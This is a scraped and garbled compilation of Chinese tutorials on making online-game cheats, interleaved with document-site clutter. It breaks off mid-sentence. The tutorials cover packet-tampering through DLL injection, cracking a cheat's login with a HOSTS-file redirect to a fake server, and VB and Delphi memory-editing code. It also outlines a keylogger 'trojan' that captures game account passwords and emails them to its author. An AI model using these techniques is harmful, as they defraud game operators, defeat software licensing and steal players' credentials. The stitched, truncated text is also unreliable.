外挂android 全局提示框方提是什么

很多E新手知道封包,但是是一个模糊的概念,网上找;什么是封包?(拿登录来讲);在战场上,军官给士兵下达命令:开枪;懂得了什么是封包后,我在编程上把编写封包分成两大;一.独立的程序(发送封包由自己完成)所谓独立的封;二.依附程序(发送封包由客户端完成,程序只做模拟;这类的程序,我们不需要通过客户组件去连接服务器,;下面用实例给大家说明源码例子;服务端只有一个服
很多E新手知道封包,但是是一个模糊的概念,网上找过例子,但是都没有系统的说明,这边我就给大家一个详细的教程。
什么是封包?(拿登录来讲) 在战场上,军官给士兵下达命令:开枪。这就像服务端给客户端发送数据(比如说Success),当客户端对收到的数据进行判断,如果是Success,那么就登录成功。这个Success就是封包。封包在网络世界中到处都有,网游中你点了一个火球术,那么你的客户端就给服务端发送数据:施放一个火球术,这也是封包。当然,如果我们模拟这样一个封包,把一个改成10个,那么怪物就受到了10倍的伤害,这就是我们所说的封包挂,后面会提到。
懂得了什么是封包后,我在编程上把编写封包分成两大类,一个是独立的程序,一个是依附程序。(不是专业说法,但容易理解。)
一.独立的程序(发送封包由自己完成) 所谓独立的封包程序,就是我们另外新建立一个程序,通过客户组件去连接服务端,然后发送数据,达到我们想到的结果。这类的程序简单的如外挂海论坛的论坛登录器,从外挂角度说,那就是脱机挂。此类程序的难点在于找到服务端的端口和封包内容。这里就不多说了,稍后教你如何去找,同样用的是源码例子中的服务端,客户端。
二.依附程序(发送封包由客户端完成,程序只做模拟封包用) 这类的程序,我们不需要通过客户组件去连接服务器,也不需要知道服务端的IP和端口,只要知道封包内容是什么就可以了。通过DLL注入到目标进程,拦截由服务端发送回来,或者是客户端发送出去的套接字,发送自己模拟的封包。给大家解释下套接字:也就是SOKET,不要惧怕他,他讲穿了就是一个IP地址,端口号的组合。也就是说套接字中包含了IP地址和端口号信息。这个类似于窗口句柄,进程ID,你发送封包至少要知道发到哪去吧。。
下面用实例给大家说明源码例子。
服务端只有一个服务端组件和编辑框组件,服务端开放端口号6666。说一下服务端和客户端互通流程,客户端先和服务端建立起连接,客户端点登录发送\给服务端,服务端接受数据处有个判断,如果数据是1,那么送回数据Fail,也就是登录失败。只有当服务端受到数据为2时,才送回数据Success,这样客户端才能登录成功。从这里看,光靠客户端是不可能登录成功的,所以我们要用到外挂技术,DLL注入后模拟发送封包。我们先用WPE看下发送和取回的数据吧。
看到了么,客户端发送1,服务器回送Fail,并且我们看到了IP地址和端口号6666。
这个是WPE的发送选项,有没有看到下面的开启封包ID:264,其实这个264就是套接字。我们来用WPE模拟发送2给服务端试下,首先要调用这个套接字,然后把封包内容31改成32,也就是变成了2。
发送2了以后就登录成功了,因为服务器返送了Success。以上就是通过WPE手动去修改,跟用CE调试游戏一样,这样不方便给他人使用,所以我们要让他程序化。程序化的例子我就不说了,也就是DLL注入,在DLL中模拟发包,这个源码例子中有,大家看下就明白了。
源码中模块用到SUPER-EC 3.1的全局注入类和外挂作坊1.5-第6版的一个DLL命令 send()
最后简单说下怎么破解别人外挂登录的,首先要找个可用的帐号密码,登录成功截到服务端返回的内容,记下这个内容。然后自己建立一个程序,添加一个服务端组件,把端口号改成刚才截取到的端口号,利用HOST文件讲客户端连接转到自己本地来,用自己做的服务端发送登录成功的数据回来,就完成了破解
三亿文库3y.uu456.com包含各类专业文献、中学教育、生活休闲娱乐、应用写作文书、各类资格考试、文学作品欣赏、高等教育、19教你DLL注入写封包挂,破解外挂登录,有源码例子等内容。 
 教你DLL注入写封包挂,破解外挂登录,有源码例子_IT/计算机_专业资料。很多 E 新手知道封包,但是是一个模糊的概念,网上找过例子,但是都没有系统 的说明,这边我就...  DLL注入实例演示_电脑基础知识_IT/计算机_专业资料。...具体使用方法:以炫舞为例子。 点击你那个外挂源码→...Delphi线程注入下载 2页 1下载券 WPE封包解密 7页...  截获外挂发送和接收的封包 除了通过修改代码来实现的...下面我给出一个完整的例子,通过鼠标钩子函数注入远程...HookDll.inc includelib \masm32\lib\kernel32.lib...五种基本外挂制作的思路_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
五种基本外挂制作的思路
阅读已结束,下载文档到电脑
想免费下载更多文档?
定制HR最喜欢的简历
下载文档到电脑,方便使用
还剩23页未读,继续阅读
定制HR最喜欢的简历
你可能喜欢当前位置: >>
VB制作外挂
VB 制作外挂的方法 关键词: 外挂 VB按是否需要游戏客户端分为 内挂 和 脱机(这是我的称呼,你可以用别的名词称呼) 内挂又可以按照修改游戏的方法分成 模拟*作型 、 修改内存型 、 封包型 。 =================================================== 脱机的不需要特别说明,利用 Mircosoft Winsock Control 6.0 可以实现功能相当强大的 脱机客户端,在这方面 VB 相对于其他编程语言没有明显的劣势,甚至是优势。 对于内挂型的~ 一、 模拟按键型 因为在 VB 中嵌入 API 已经不是什么难事,所以 VB6应用程序也可以方便的调用 keybd_event mouse_event 来实现键盘和鼠标的模拟。在 WindowsNT 上,这两个函数是不被推荐使用的可以使用 SendI nput 代替~但是 SendInput 在 VB 的 API 浏览器没有包含~ 二、 修改内存 修改目标游戏内存,类似于 FPE,GM 之类的软件,但是修改的目标确是不同,一般上说 FPE 等单机游戏内存修改器主要是修改数据区内容,而网络游戏修改内存外挂主要是修改程序指 令~ 具体要使用到的 API 是 WriteProcessMemory ReadProcessMemoryF OpenProcess CloseHandle 第一个被调用的 API 是 OpenProcess,第一个参数 dwDesiredAccess 使用的常量在 VB 中是 没有声明能够的。在 winnt.h(4318)的定义如下 #define PROCESS_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF) 用这个值做参数调用 OpenProcess 得到的*作权将是最大的,同时破坏性也最大,使用不当 容易使游戏进程 DOWN 掉。所以我个人推荐使用: #define PROCESS_VM_READ (0x0010) #define PROCESS_VM_WRITE (0x0020) 分别对应 ReadProcessMemory/WriteProcessMemory 第二个参数一般做0 意义是 是否让自进程继承这个句柄 第三个参数就是目标进程 ID,进程 ID 可以通过 FindWindow 得到句柄后调 GetWindowThread ProcessId 得到 打开进程,获得进程句柄后,就可以利用 ReadProcessMemory/WriteProcessMemory 来读写 游戏进程数据了~ 记住使用完成后,及时调用 CloseHandle 来释放句柄,不然你的程序运行一段时间后就会出 错~ 三、 封包型 封包型也可以分为两种: 1)代理型 2)hook winsock api 型 第一种主要就是在本机虚拟一个游戏服务器,让游戏的数据包先发给你的程序,有你处理后 再发往真实的游戏服务器,这种方法简单灵活,但是,目前绝大多数的网络游戏都对这型外 挂有 ANTI 机制。(一下不知道该用什么词 :) ) HOOKAPI 型,一直是 VB 外挂程序的禁区,因为目前所使用的大多数方法,都需要建立一个 D LL EJECT 到目标进程中,而 VB 建立的 DLL 是不能满足要求的~ 下面来说重点吧~(至少我这么认为) WIN32API 中有这么一套 API,叫做调试 API. 先是 DebugActiveProcess, BOOL DebugActiveProcess( DWORD dwProcessId ); // process to be debugged 参数就一个就是目标进程的 ID,可以用我前面说的方法来得到。 当开始调试一个进程后,就可以使用 WaitForDebugEvent, BOOL WaitForDebugEvent( LPDEBUG_EVENT lpDebugEvent, // pointer to debug event structure DWORD dwMilliseconds ); 来等待 DEBUG 事件了~ DEBUG_EVENT 的结构定义是这样的: ************************************************************* typedef struct _DEBUG_EVENT { // de DWORD dwDebugEventC DWORD dwProcessId; DWORD dwThreadId; union { EXCEPTION_DEBUG_INFO E CREATE_THREAD_DEBUG_INFO CreateT CREATE_PROCESS_DEBUG_INFO CreateProcessI EXIT_THREAD_DEBUG_INFO ExitT EXIT_PROCESS_DEBUG_INFO ExitP LOAD_DLL_DEBUG_INFO LoadD UNLOAD_DLL_DEBUG_INFO UnloadD OUTPUT_DEBUG_STRING_INFO DebugS RIP_INFO RipI } } DEBUG_EVENT; typedef struct _EXCEPTION_RECORD { // exr DWORD ExceptionC // milliseconds to wait for event DWORD ExceptionF struct _EXCEPTION_RECORD *ExceptionR PVOID ExceptionA DWORD NumberP DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD; typedef struct _EXCEPTION_DEBUG_INFO { // exdi EXCEPTION_RECORD ExceptionR DWORD dwFirstC } EXCEPTION_DEBUG_INFO; ************************************************************* 在众多事件中,我们关心的只有 EXCEPTION_DEBUG_EVENT,当 dwDebugEventCode==EXCEPTIO N_DEBUG_EVENT 时,U 的结构展开是这样的! ExceptionCode 表明了 DEBUG 事件产生的原因;可能的值中,需要我们关心的只有 EXCEPTIO N_BREAKPOINT。 当目标执行到指令 INT3时就会触发上面的 EXCEPTION_BREAKPOINT 时间,所以,我们大可以 在 SEND/RECV 等 API 入口处放一个 INT3指令, 当游戏调用该 API 时就触发了一个调试事件,进程被挂起,然后通知调试进程,这个时候, 我们就可以从游戏程序的堆栈中读取参数, 甚至修改~~ 最后,做了一些必要的出来后记得调用 ContinueDebugEvent 来继续游戏程序的执行~vb 制作游戏外挂教程菜鸟级 [VB]做外挂示例,感兴趣不妨进来看看~ 原作者的话: 对不起,我想这是不可能的,因为 VB 是一个如此简单的编程语音。如果有人这么告诉你, 别去理他。我可以肯定告诉你,对于制作修改器这种简单的程序,VB 完全可以胜任。 然而,有个问题必须首先考虑:使用 VB 编写的修改器需要 VB 的执行库才能执行。如果考虑 到有些使用者(实际上可能是大部分使用者)没有执行库,那么在最后制作的 ZIP 压缩档中就 必须包含这些庞大的档。在下面的教程里我将制作一个修改器,如果为它再制作一个安装程 序,那么整个修改器的体积将超过1MB。其中包括一个很好的安装和反安装程序,但大部分 还是 VB40032.DLL 这个档。 除了以上这点,使用 VB 制作修改器是非常简单的。一旦制作了多次后,你会发现能很快地 制作出一个修改器。而且使用 VB 制作的修改器能够毫无困难地解决游戏执行时的动态内存 分配问题,因此即使是最新的游戏,也可以使用 VB 制作修改器。在本教程中将不涉及动态 内存分配,因为虽然简单,但仍然属于一个高级的选项。 一些背景知识 不象 C 语音, 不会自动包括普通的 API 函数的声明,因此我们必须把他们加入我们的项目 VB 文件。在几乎所有的修改器中会使用到6个主要的函数,讨论如下: 1. FindWindow(ClassName, WindowTitle) - FindWindow 返回符合指定的类名( ClassName ) 和窗口名( WindowTitle )的窗口句柄。对我们来说,可以让 ClassName 为空( Null ),只 给出游戏的 WindowTitle。 函数应该这样声明: Declare Function FindWindow Lib user32 Alias FindWindowA (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 2. GetWindowThreadProcessId(WindowHandle, ProcessId) - 在这里我们把 FindWindow 函数中得到的句柄作为参数,来获得进程标识符(ProcessId )。 声明如下: Declare Function GetWindowThreadProcessId Lib user32 (ByVal hwnd As Long, lpdwProcessId As Long) As Long 3. OpenProcess(DesiredAccess, Inherit, ProcessId) 这个函数将返回一个我们目标进程的句柄,可以用来对目标进行读写操作。 DesiredAccess 参数的值决定了句柄对进程的存取权利,对我们来说,要使用 PROCESS_ALL_ACCESS (完全 存取权限)。Inherit 应该总是 False。 ProcessId 是从 GetWindowThreadProcessId 函数 中取得的。 Declare Function OpenProcess Lib kernel32 (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long 4. CloseHandle(ProcessHandle) - 每一个打开的句柄必须呼叫这个函数来关闭。 Declare Function CloseHandle Lib kernel32 (ByVal hObject As Long) As Long 5. WriteProcessMemory(ProcessHandle, Address, value, Sizeofvalue, BytesWritten) - 把指定的值 value 写入由 Address 指定的目标地址。 Declare Function WriteProcessMemory Lib kernel32 (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long 6. ReadProcessMemory(ProcessHandle, Address, value, Sizeofvalue, BytesWritten) - 把 Address 指定的目标地址的值存入 value 位置的变量中。 Declare Function WriteProcessMemory Lib kernel32 (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long 这些函数一环扣一环,缺一不可。更详细的内容可以参考 VB 的帮助档。一个简单的修改器范例 如何使上面介绍的这些函数一起工作,制作出我们需要的修改器呢?下面是一个为 Windows 的计算器程序制作修改器的例子。这个修改器将读出计算器窗口中显示的数值,并在点击一 个按钮后在计算器窗口中显示我们的名字。 首先我们需要找到计算器显示窗口中显示值的地址。本教程不是关于如何进行内存搜索,因 而我将只作简单的说明: - 在计算器窗口中输入123456 - 使用你喜欢的任何一种内存地址搜索程序寻找字符串123456 - 使用另一个值重复上面的过程直到只返回1个地址 那是制作我们的修改器需要的唯一一个地址。在我的计算器程序里这个地址是40B181 hex, 4239745 dec。用你找到的地址替代在下面的代码里使用的这个地址。 现在让我们开始设计修改器的接口: - 在 VB 中新建一个项目,加入一个文本框( Textbox )、一个按钮和一个定时器( timer )。文本框用来显示从计算器窗口取得的字符串,按钮用来把我们的名字传到计算器窗口 - 把窗体( form )的标题( Caption )内容设为 Calculator Trainer - 把文本框改名为 txtDisplay 并清除 Text 内容 - 把定时器改名为 ReadTimer 并把间隔( interval )设为500 - 把按钮的标题改为 Display Name,按钮的名字改为 btnPasteName 在这个修改器中我们将使用所有6个函数,ReadProcessMemory、WriteProcessMemory、 OpenProcess、GetWindowThreadProcessId、FindWindow 和 CloseHandle。在项目中插入一 个新的模块,增加下列代码。(下面的一些行自动换行了,在你的模块中每一句必须在一行 里,或使用延长符_) Declare Function FindWindow Lib user32 Alias FindWindowA (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Declare Function GetWindowThreadProcessId Lib user32 (ByVal hwnd As Long, lpdwProcessId As Long) As Long Declare Function OpenProcess Lib kernel32 (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Declare Function WriteProcessMemory Lib kernel32 (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Declare Function ReadProcessMemory Lib kernel32 (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Declare Function CloseHandle Lib kernel32 (ByVal hObject As Long) As Long 下面我们要开始写在定时器窗口中显示我们名字的代码了。首先我们使用 FindWindow 函数 取得目标窗口的句柄。把这个返回值保存在一个变量中,并检查它的值是否出错来确保定时 器程序正在执行。(FindWindow 函数出错时返回0) Dim hwnd As Long hwnd = FindWindow(vbNullString, Calculator) If (hwnd = 0) Then MsgBox Window not found! Exit Sub End If 注意在这里我们传递了一个 Null 值给 FindWindow 函数,而不是 ClassName。因此任何名 为 Calculator 的窗口都符合条件。 如果知道计算器程序窗口的 ClassName,你可以传给它, 但这不是必须的。 现在使用得到的窗口句柄来取得进程标识符( ProcessId )。注意 pid 是作为参数传递给函 数的,而不是被赋以函数返回值。 Dim pid As Long GetWindowThreadProcessId hwnd, pid 再利用变量 pid 得到计算器程序的进程句柄。再次检查函数的返回值,如果是非法数据则退 出程序。 Dim pHandle As Long pHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) If (pHandle = 0) Then MsgBox Couldn’t get a process handle! Exit Sub End If 在我们的修改器中 WriteProcessMemory 函数是最重要的部分,而且非常容易出错。不妨让 我们再仔细讨论一下它的参数。 WriteProcessMemory (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As) hProcess 是目标进程的句柄,从上面的 OpenProcess 函数中取得的。 lpBaseAddress 是在计算器程序的虚拟内存中将要被修改的地址,也就是使用内存搜索程序找到的那个地 址。(在我的程序里是&H40B181)lpBuffer 是将要写如上述地址的数据,可以是一个数值、 数组、字符串或其它任何数据类型。 nSize 是希望写入 lpBaseAddress 的字节数。这个位置应该与你的数据类型相符。如果写 入的是一个长整数( long),这里应该是4。如果写入的是一个字符串,那么这里应该是字符 串的长度。 lpNumberOfBytesWritten 是函数执行返回后,写入目标地址的实际字节数。它能被用来确 认函数实际的执行情况。 把我们的数据放到函数中,得到 WriteProcessMemory pHandle, &H40B181, Beans, 5, 0&。 我把0传递到 lpNumberOfBytesWritten 位置是因为不需要检查两次实际写入的字节数。 最后通过传递进程句柄给 CloseHandle() 函数来关闭由 OpenProcess 打开的句柄。 CloseHandle hProcess 现在将所有的代码输入我们的编辑器中。双击按钮,显示它的代码编辑窗口。代码应该加到 名为 btnPasteName 的 Click 事件中。(不必输入注释) Private Sub btnPasteName_Click() 声明一些需要的变量 Dim hwnd As Long 储存 FindWindow 函数返回的句柄 Dim pid As Long 储存进程标识符( Process Id ) Dim pHandle As Long 储存进程句柄 首先取得目标窗口的句柄 hwnd = FindWindow(vbNullString, Calculator) If (hwnd = 0) Then MsgBox Window not found! Exit Sub End If 取得进程标识符 GetWindowThreadProcessId hwnd, pid 使用进程标识符取得进程句柄 pHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) If (pHandle = 0) Then MsgBox Couldn’t get a process handle! Exit Sub End If 在内存地址中写入名字 WriteProcessMemory pHandle, &H40B181, Beans, 5, 0& 关闭进程句柄 CloseHandle hProcess End Sub 完毕。现在单击按钮将使计算器窗口文本变为我们键如的名字。(可能需要最小化计算器程 序,再还原,以便程序更新显示) 下面将给我们的修改器增加一个新功能。我们将检测计算器程序的窗口显示数据,并在修改 器中显示。双击定时器,显示它的代码编辑窗口,然后输入以下代码: Private Sub ReadTimer_Timer() 声明变数 Dim hwnd As Long 储存 FindWindow 函数返回的句柄 Dim pid As Long 储存进程标识符 Dim pHandle As Long 储存进程句柄 Dim str As String * 20 存储显示文本 取得目标窗口的句柄 hwnd = FindWindow(vbNullString, Calculator) If (hwnd = 0) Then Exit Sub 取得进程标识符 GetWindowThreadProcessId hwnd, pid 取得进程句柄 pHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) If (pHandle = 0) Then Exit Sub 读取内存数据 ReadProcessMemory pHandle, &H40B181, str, 20, 0& 在文本框显示 txtDisplay = str 关闭进程句柄 CloseHandle hProcess End Sub 在这里出现的新东西是 ReadProcessMemory 函数。从 &H40B181 地址中读出的数据被存入 变量 str 中,然后显示在名为 txtDisplay 的文本框中。 本教程中所讲的是非常简单的东西,主要是想起抛砖引玉的目的。最重要的是不断学习,不 断实践,了解其它的 API 并在修改器中使用。练习越多,就会觉得越容易。 好的话帮忙顶一下,谢谢! 刚才查别的资料的时候偶尔看到的,感觉比较适合菜鸟。 还算不上做外挂,顶多算个内存修改器 WriteProcessMemory 还是声明为 Byval lpBaseAddress As Long, ByVal lpBuffer As Long 来的好 然后用 VarPtr 传变量的指针地址 写 nSize 的时候,Long 之所以要传4,是因为 Long 类型的变量在内存中占用4个字节,你也 可以统统用 Len(不过我还是建议你用 API lstrlen,因为 nSize 是字节数,而非字符数), 因为 Len 也可以用于 Long(以及 Integer,甚至于用户类型),并且返回值一定是4。 lpNumberOfBytesWritten 将会被设置为真正成功写入内存的字节数(所以你最好传一个变 量,而不是 ByVal 0&)。 ReadProcessMemory 我也建议你如 WriteProcessMemory 那样声明 因为这样可以减少许多不必要的错误 同样的,lpNumberOfBytesWritten 也将会被设置为真正读入的字节 所以你可以先将一个 String 变量设置为4000个空格(Space$(4000))(甚至更多),然后 通过 CopyMemory VatPtr(str_真正读到的内 容),VarPtr(str_Buffer),lpNumberOfBytesWritten(这个 CopyMemory 是声明为 ByVal src As Long, ByVal tgt As Long, ByVal nSize As Long 的)来获取真正的字节数。 不过,在这儿你不需要这么操作,因为你是可以设置读取的字节数的(nSize 参数),而当 你使用 ReadFile 之类的函数时,你会发现这个参数很有用处。 同样的,你也可以传 ByVal 0&,但是我仍然不建议你这么做 VarPtr 是 VB 中获取变量名在内存中的地址用的函数(不是变量内容,变量内容你应当使用 的是 StrPtr 而不是 VarPtr) 使用 VarPtr 并且声明为 ByVal *** As Long 同样也适用于 CopyMemory。网络游戏外挂开发 作者:黑森林 日期: 字体大小: 小 中 大 在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这 到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种 罢了(依制作难度) : 1、动作式,所谓动作式,就是指用 API 发命令给窗口或 API 控制鼠标、键盘等,使游戏里 的人物进行流动或者攻击,最早以前的&石器&外挂就是这种方式。 2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要 对内存地址有一点认识并且掌握 API 就可以实现,&精灵&的外挂这是这种方式写成的,它的 难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,确 正找起来会比较困难。 3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码,做这种外挂有一定的难度, 需要 HOOK 或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码, 然后发到指定邮箱。 4、加速式,这种外挂可以加快游戏的速度。原本我一直以为加速外挂是针对某个游戏而写 的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。 5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是 先截取封包,后修改,再转发。这种外挂适用于大多数网络游戏,像 WPE 及一些网络游戏外 挂都是用这种方式写成的,编写这种外挂需要 apihook 技术,winsock2技术???? 对五种类型的外挂做了一个大体的概括,大家对这几种外挂都有了一定的了解,现在就依 次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~ 首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。记得还在& 石器&时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知 道外挂怎么回事^_^) ,于是找了这种软件过来研究(拿来后才听别人说这叫外挂) ,发现这 种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而 已,看后就有实现这功能的冲动,随后跑到 MSDN 上看了一些资料,发现这种实现这几个功 能,只需要几个简单的 API 函数就可以搞定: 1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到 API 函数 GetCursorPos,它的使用方法如下: BOOL GetCursorPos( LPPOINT lpPoint // address of structure for cursor position ); 2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到 SetCursorPos 函数来移动 鼠标位置,它的使用方法如下: BOOL SetCursorPos( int X, // horizontal position int Y // vertical position ); 3、模拟鼠标发出按下和放开的动作,我们要用到 mouse_event 函数来实现,具休使用方法 用下: VOID mouse_event( DWORD dwFlags, // flags specifying various motion/click variants DWORD dx, // horizontal mouse position or position change DWORD dy, // vertical mouse position or position change DWORD dwData, // amount of wheel movement DWORD dwExtraInfo // 32 bits of application-defined information ); 在 它 的 dwFlags 处 , 可 用 的 事 件 很 多 如 移 动 MOUSEEVENTF_MOVE , 左 键 按 下 MOUSEEVENTF_LEFTDOWN,左键放开 MOUSEEVENTF_LEFTUP,具体的东东还是查一下 MSDN 吧 ~~~~~ 好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了: getcursorpos(point); setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint 是个自制的随 机坐标函数 mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); setcursorpos(point.x,point.y); 看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用 这个技巧实现, 接下来, 再看看游戏里面自动攻击的做法吧 (必需游戏中攻击支持快捷键的) , 道理还是一样的,只是用的 API 不同罢了~~~,这回我们要用到的是 keybd_event 函数,其 用法如下: VOID keybd_event( BYTE bVk, // virtual-key code BYTE bScan, // hardware scan code DWORD dwFlags, // flags specifying various function options DWORD dwExtraInfo // additional data associated with keystroke ); 我们还要知道扫描码不可以直接使用,要用函数 MapVirtualKey 把键值转成扫描码, MapVirtualKey 的具体使用方法如下: UINT MapVirtualKey( UINT uCode, // virtual-key code or scan code UINT uMapType // translation to perform ); 好了,比说此快接键是 CTRL+A,接下来让我们看看实际代码是怎么写的: keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0); keybd_event(65,mapvirtualkey(65,0),0,0); keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0); keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0); 首先模拟按下了 CTRL 键,再模拟按下 A 键,再模拟放开 A 键,最后放开 CTRL 键,这就是 一个模拟按快捷键的周期。 我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式 外挂更进一步的外挂--本地修改式外挂的整个制作过程进行一个详细的分解。具我所知,本 地修改式外挂最典型的应用就是在&精灵&游戏上面,因为我在近一年前,我所在的公司里有 很多同事玩&精灵&,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息 是存在于内存当中 (我看后第一个感受是: 修改这种游戏和修改单机版的游戏没有多大分别, 换句话说就是在他向服务器提交信息之前修改了内存地址就可以了) ,当时我找到了地址于 是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~, 后来&精灵&又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来 看看这类外挂是如何制作的:在做外挂之前我们要对 Windows 的内存有个具体的认识,而在 这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改, 那么我们要对几个 Windows API 进行了解, 跟着例子让我们看清楚这种外挂的制作和 API OK, 的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了) : 1、首先我们要用 FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行 后所在进程的 ID,下面就是 FindWindow 的用法: HWND FindWindow( LPCTSTR lpClassName, // pointer to class name LPCTSTR lpWindowName // pointer to window name ); 2、我们 GetWindowThreadProcessId 来得到游戏窗口相对应进程的进程 ID, 函数用法如下: DWORD GetWindowThreadProcessId( HWND hWnd, // handle of window LPDWORDlpdwProcessId // address of variable for process identifier ); 3、得到游戏进程 ID 后,接下来的事是要以最高权限打开进程,所用到的函数 OpenProcess 的具体使用方法如下: HANDLE OpenProcess( DWORD dwDesiredAccess, // access flag BOOL bInheritHandle, // handle inheritance flag DWORD dwProcessId // process identifier ); 在 dwDesiredAccess 之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只 要使用 PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下 MSDN。 4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到 WriteProcessMemory 来 对 内 存 地 址 写 入 数 据 即 可 ( 其 他 的 操 作 方 式 比 如 说 : ReadProcessMemory 等,我在这里就不一一介绍了) ,我们看一下 WriteProcessMemory 的用 法: BOOL WriteProcessMemory( HANDLE hProcess, // handle to process whose memory is written to LPVOID lpBaseAddress, // address to start writing to LPVOID lpBuffer, // pointer to buffer to write data to DWORD nSize, // number of bytes to write LPDWORD lpNumberOfBytesWritten // actual number of bytes written ); 5、下面用 CloseHandle 关闭进程句柄就完成了。这就是这类游戏外挂的程序实现部份的方 法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性 认识吧,下面就是 XX 游戏的外挂代码,我们照上面的方法对应去研究一下吧: const ResourceOffset: dword = $; resource: dword = ; ResourceOffset1: dword = $; resource1: dword = ; ResourceOffset2: dword = $0043FA50; resource2: dword = 1280185; ResourceOffset3: dword = $0043FA54; resource3: dword = ; ResourceOffset4: dword = $0043FA58; resource4: dword = ; var hw: HWND; pid: h: TH tt: C begin hw := FindWindow('XX', nil); if hw = 0 then E GetWindowThreadProcessId(hw, @pid); h := OpenProcess(PROCESS_ALL_ACCESS, false, pid); if h = 0 then E if flatcheckbox1.Checked=true then begin WriteProcessMemory(h,Pointer(ResourceOffset), @Resource, sizeof(Resource), tt); WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt); if flatcheckbox2.Checked=true then begin WriteProcessMemory(h,Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt); WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt); WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt); MessageBeep(0); CloseHandle(h); 这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很 难,最难的是要找到这些地址。 动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大 多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂 的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到 处乱用此技术,谢谢合作) 。要做此类外挂的程序实现方法很多(比如 HOOK,键盘监视等技 术)因为 HOOK 技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库, , 所以在文中我会以键盘监视技术来实现此类木马的制作。 键盘监视技术只需要一个.exe 文件 就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。在做程序之前我们必需 要了解一下程序的思路: 1、我们首先知道你想记录游戏的登录窗口名称。 2、判断登录窗口是否出现。 3、如果登录窗口出现,就记录键盘。 4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。第一点我就不具体分 析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始, 我们就开始这类外挂的程序实现之旅:那么我们要怎么样判断登录窗口虽否出现呢?其实这 个很简单,我们用 FindWindow 函数就可以很轻松的实现了: HWND FindWindow( LPCTSTR lpClassName, // pointer to class name LPCTSTR lpWindowName // pointer to window name ); 实际程序实现中,我们要找到'xx'窗口,就用 FindWindow(nil,'xx')如果当返回值大于0 时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。先首我们用 SetWindowsHookEx 设置监视日志,而该函数的用法如下: HHOOK SetWindowsHookEx( int idHook, // type of hook to install HOOKPROC lpfn, // address of hook procedure HINSTANCE hMod, // handle of application instance DWORD dwThreadId // identity of thread to install hook for ); 在这里要说明的是在我们程序当中我们要对 HOOKPROC 